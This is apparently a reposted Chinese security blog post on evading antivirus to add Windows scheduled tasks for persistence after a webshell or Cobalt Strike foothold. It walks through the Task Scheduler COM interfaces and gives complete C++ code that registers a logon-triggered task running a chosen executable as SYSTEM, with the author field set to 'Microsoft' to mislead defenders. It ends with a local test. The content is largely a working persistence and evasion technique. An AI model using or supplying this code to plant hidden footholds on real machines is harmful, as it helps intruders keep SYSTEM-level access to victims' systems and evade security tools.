关于计划任务的探究

Delina

原文链接：关于计划任务的探究
​
基础知识计划任务是系统的常见功能，利用任务计划功能，可以将任何脚本、程序或文档安排在某个最方便的时间运行。任务计划在每次系统启动的时候启动并在后台运行。
当我们需要在服务器上定时执行一些重复性的事件时使用的，可以通过计划任务程序来运行准备好的脚本、批处理文件夹、程序或命令，在某个特定的时间运行。
计划任务可以在计算机管理 -> 任务计划程序 -> 任务计划程序库中能够看到

​

计划任务设置之后，就可以定时去执行计划任务设置的任务，那么这里我们不禁又想，能不能每次被控电脑启动的时候添加一个自启木马的计划任务来达到权限维持的作用呢？当然可以，但是这里我们能够想到通过计划任务进行权限维持，杀软肯定也早早知道了计划任务的这个功能，首先我们假设已经拿到了webshell能够命令执行添加计划任务，如下所示，这里ret=-1就是杀软拦截了命令的执行。

​

可能这里还不是特别明显，这里我们假装已经上线了cs，然后再调用sc创建计划任务，肯定是会被杀软拦截的

​

那咋办呢，那岂不是有杀软的情况下计划任务都执行不了了？今天就来探究一下怎样绕过杀软来添加计划任务。
初探想要知其然，也要知其所以然，就要对敌人进行深入的了解，这里我们去msdn看一下Task Scheduler即计划任务到底是怎么解释的

About the Task SchedulerThe Task Scheduler enables you to automatically perform routine tasks on a chosen computer. Task Scheduler does this by monitoring whatever criteria you choose (referred to as triggers) and then executing the tasks when those criteria are met.

知道师傅们英文都不太好(其实是我自己看不懂英文)，直接中文翻译走一波看看，计划任务能够执行的时间还挺多，确实是权限维持的一大利器

​

我们随便打开一个计划任务来看一下，主要是有常规、触发器、操作、条件、设置几个菜单，但是这里的接口并不是按照这几个选项来命名的，这里一开始准备按照接口去找导致卡了半天
​
首先找到注册信息接口，对应的是IRegistrationInfo interface即注册信息接口(这里没有英翻搞得我很难受)，在这个接口下需要设置两个属性，一个是IRegistrationInfo::get_Author，另外一个则是IRegistrationInfo::get_Description，前面属性对应的是创建者，后面属性对应的是计划任务程序的描述

​

再就是ITaskDefinition interface即计划定义接口，这个接口主要是定义计划任务有哪几个组件，就是我们上面看到的诸如任务设置、触发器、注册信息等等，这个接口里面需要用到的有ITaskDefinition::get_Settings、ITaskDefinition::get_Actions、ITaskDefinition::get_Triggers，分别对应获取计划任务设置、计划任务组件、设置启动任务触发器的集合

​

​

ITriggerCollection interface为触发器收集接口，主要用到的属性有ITriggerCollection::Create，创建计划任务的触发器

​

ITrigger interface为触发器接口，用到的属性有ITrigger::put_Id、ITrigger::get_StartBoundary、ITrigger::put_EndBoundary，分别用来设置触发器的标识符、设置触发器的日期和时间、设置停用触发器的时间

​

IExecAction interface为命令行动作接口，主要用到IExecAction::put_Path、IExecAction::put_Arguments来设置可执行文件的路径以及和命令行关联的参数
​​

​

实现过程首先梳理下思路，大体可以分为两个部分实现，首先需要进行初始化操作，再进行计划任务的创建。
我们需要初始化COM接口的环境，然后创建任务ITaskService并链接到任务服务，再从ITaskService里获取根任务Root Task Folde 的指针ITaskFolder指向新注册的服务。
当我们完成初始化的操作之后，首先创建任务定义对象来创建任务，然后对ITaskDefinition进行设置，使用 ITaskFolder 对象并利用任务定义对象 ITaskDefinition 的设置，注册任务计划
首先使用CoInitializeEx这个api来初始化COM接口
HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);然后创建任务服务对象
hr = CoCreateInstance(CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, IID_ITaskService, (LPVOID*)(&m_lpITS));再连接到任务服务
hr = m_lpITS->Connect(_variant_t(), _variant_t(), _variant_t(), _variant_t());获取Root Task Folder 的指针 ，这个指针指向的是新注册的任务
hr = m_lpITS->GetFolder(_bstr_t("\"), &m_lpRootFolder);到这里我们第一大部分就已经实现，获取到了ITaskFolder指向了新注册的服务，再就是创建任务定义对象来创建任务的实现
首先我们判断是否存在了相同的计划任务，若存在则删除
Delete(lpszTaskName);然后创建任务定义对象

1. ITaskDefinition *pTaskDefinition = NULL;
   
2. HRESULT hr = m_lpITS->NewTask(0, &pTaskDefinition);

复制代码

设置注册信息与创建计划任务的信息，这里为了迷惑可以设置启动者为Microsoft

1. IRegistrationInfo *pRegInfo = NULL;
   
2. CComVariant variantAuthor(NULL);
   
3. variantAuthor = lpszAuthor;
   
4. hr = pTaskDefinition->get_RegistrationInfo(&pRegInfo);
   
5. 
   
6. hr = pRegInfo->put_Author(L"Microsoft");
   
7. pRegInfo->Release();

复制代码

​

创建计划任务设置与设置任务值

1. ITaskSettings* pSettings = NULL;
   
2.     hr = pTask->get_Settings(&pSettings);
   
3. 
   
4.     hr = pSettings->put_StartWhenAvailable(VARIANT_TRUE);
   
5.     pSettings->Release();

复制代码

登入触发器

1. ITriggerCollection* pTriggerCollection = NULL;
   
2.     hr = pTask->get_Triggers(&pTriggerCollection);

复制代码

添加触发器，这里我设置为登录即触发，即开机自启运行来达到权限维持的作用

1. ITrigger* pTrigger = NULL;
   
2. hr = pTriggerCollection->Create(TASK_TRIGGER_LOGON, &pTrigger);

复制代码

​

然后设置执行路径和参数

1. CComVariant variantProgramPath(NULL);
   
2.     CComVariant variantParameters(NULL);
   
3.     IExecAction *pExecAction = NULL;
   
4.     hr = pAction->QueryInterface(IID_IExecAction, (PVOID *)(&pExecAction));

复制代码

创建执行动作

1. IActionCollection *pActionCollect = NULL;
   
2.     hr = pTaskDefinition->get_Actions(&pActionCollect);

复制代码

创建执行操作

1. hr = pActionCollect->Create(TASK_ACTION_EXEC, &pAction);
   
2.     pActionCollect->Release();

复制代码

设置程序路径和参数

1. pExecAction->put_Path(variantProgramPath.bstrVal);
   
2.     pExecAction->put_Arguments(variantParameters.bstrVal);
   
3.     pExecAction->Release();

复制代码

然后创建计划任务，这里注意一下第一个参数意思为创建并覆盖当前的计划任务，第四个参数以system权限启动，第六个参数为组激活，即

1. hr = m_lpRootFolder->RegisterTaskDefinition(variantTaskName.bstrVal,
   
2.         pTaskDefinition,
   
3.         TASK_CREATE_OR_UPDATE,
   
4.         _variant_t(L"system"),
   
5.         _variant_t(),
   
6.         TASK_LOGON_GROUP,
   
7.         _variant_t(L""),
   
8.         &pRegisteredTask);

复制代码

这里可以加一个删除计划任务的函数，也可以不加，主要是看创建计划任务的用途是用来权限维持还是其他的作用

1. BOOL Delete(char* lpszTaskName)
   
2. {
   
3.     if(NULL == m_lpRootFolder)
   
4.     {
   
5.         return FALSE;
   
6.     }
   
7.     CComVariant variantTaskName(NULL);
   
8.     variantTaskName = lpszTaskName;
   
9.     HRESULT hr = m_lpRootFolder->DeleteTask(variantTaskName.bstrVal, 0);
   
10.     if (FAILED(hr))
    
11.     {
    
12.         return FALSE;
    
13.     }
    
14.     return TRUE;
    
15. }

复制代码

完整代码如下

1. BOOL Tasksch(LPWSTR wszTaskName,LPWSTR FilePath)
   
2. {
   
3.     HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);
   
4.     if (FAILED(hr))
   
5.     {
   
6.         printf("[!] CoInitializeEx failed, error is : %x", hr);
   
7.         return 1;
   
8.     }
   
9.     printf("[*] CoInitializeEx successfully!\n\n");
   
10. 
    
11.     hr = CoInitializeSecurity(NULL,-1,NULL,NULL,RPC_C_AUTHN_LEVEL_PKT_PRIVACY,RPC_C_IMP_LEVEL_IMPERSONATE,NULL,0,NULL);
    
12. 
    
13. 
    
14.     ITaskService* pService = NULL;
    
15.     hr = CoCreateInstance(CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, IID_ITaskService, (void**)&pService);
    
16. 
    
17.     hr = pService->Connect(_variant_t(), _variant_t(), _variant_t(), _variant_t());
    
18. 
    
19.     ITaskFolder* pRootFolder = NULL;
    
20.     hr = pService->GetFolder(_bstr_t(L"\"), &pRootFolder);
    
21. 
    
22.     pRootFolder->DeleteTask(_bstr_t(wszTaskName), 0);
    
23. 
    
24.     ITaskDefinition* pTask = NULL;
    
25.     hr = pService->NewTask(0, &pTask);
    
26. 
    
27.     pService->Release();  
    
28. 
    
29.     IRegistrationInfo* pRegInfo = NULL;
    
30.     hr = pTask->get_RegistrationInfo(&pRegInfo);
    
31.     hr = pRegInfo->put_Author(L"Microsoft");   
    
32. 
    
33.     ITaskSettings* pSettings = NULL;
    
34.     hr = pTask->get_Settings(&pSettings);
    
35. 
    
36.     hr = pSettings->put_StartWhenAvailable(VARIANT_TRUE);
    
37.     pSettings->Release();
    
38. 
    
39.     ITriggerCollection* pTriggerCollection = NULL;
    
40.     hr = pTask->get_Triggers(&pTriggerCollection);
    
41. 
    
42.     ITrigger* pTrigger = NULL;
    
43.     hr = pTriggerCollection->Create(TASK_TRIGGER_LOGON, &pTrigger);     
    
44.     pTriggerCollection->Release();
    
45. 
    
46.     ILogonTrigger* pLogonTrigger = NULL;
    
47.     hr = pTrigger->QueryInterface(IID_ILogonTrigger, (void**)&pLogonTrigger);
    
48. 
    
49.     pTrigger->Release();
    
50. 
    
51.     hr = pLogonTrigger->put_Id(_bstr_t(L"Trigger1"));
    
52. 
    
53. 
    
54. 
    
55.     IActionCollection* pActionCollection = NULL;
    
56.     hr = pTask->get_Actions(&pActionCollection);
    
57.     IAction* pAction = NULL;
    
58.     hr = pActionCollection->Create(TASK_ACTION_EXEC, &pAction);         //触发程序执行：TASK_ACTION_EXEC
    
59.     IExecAction* pExecAction = NULL;
    
60.     hr = pAction->QueryInterface(IID_IExecAction, (void**)&pExecAction);
    
61. 
    
62. 
    
63.     hr = pExecAction->put_Path(_bstr_t(FilePath));
    
64.     pExecAction->Release();
    
65. 
    
66.     if (FAILED(hr))
    
67.     {
    
68.         printf("[!] Set put_path failed, error is : %x", hr);
    
69.         pRootFolder->Release();
    
70.         pTask->Release();
    
71.         CoUninitialize();
    
72.         return 1;
    
73.     }
    
74. 
    
75.     printf("[*] Set put_path successfully!\n\n");
    
76. 
    
77.     IRegisteredTask* pRegisteredTask = NULL;
    
78. 
    
79.     hr = pRootFolder->RegisterTaskDefinition(
    
80.         _bstr_t(wszTaskName),
    
81.         pTask,
    
82.         TASK_CREATE_OR_UPDATE,  // 创建并覆盖现有的计划任务
    
83. 
    
84.         _variant_t(L"system"),
    
85.         _variant_t(),
    
86.         TASK_LOGON_GROUP, //组激活
    
87.         _variant_t(L""),
    
88.         &pRegisteredTask);
    
89. 
    
90.     if (FAILED(hr))
    
91.     {
    
92.         printf("[!] Create Task failed, error is : %x\n\n", hr);
    
93.         pRootFolder->Release();
    
94.         pTask->Release();
    
95.         CoUninitialize();
    
96.         return 1;
    
97.     }
    
98. 
    
99.     printf("[*] Create Task successfully!\n\n");
    
100. 
     
101.     pRootFolder->Release();
     
102.     pTask->Release();
     
103.     pRegisteredTask->Release();
     
104.     CoUninitialize();
     
105. }

复制代码

实现效果这里我为了方便看到效果，把所要创建的计划任务名称当成了参数传入

​

首先在本机上试一下效果，这里我直接运行的话是不行的，需要管理员权限运行

​

​

用管理员是可以创建成功的
​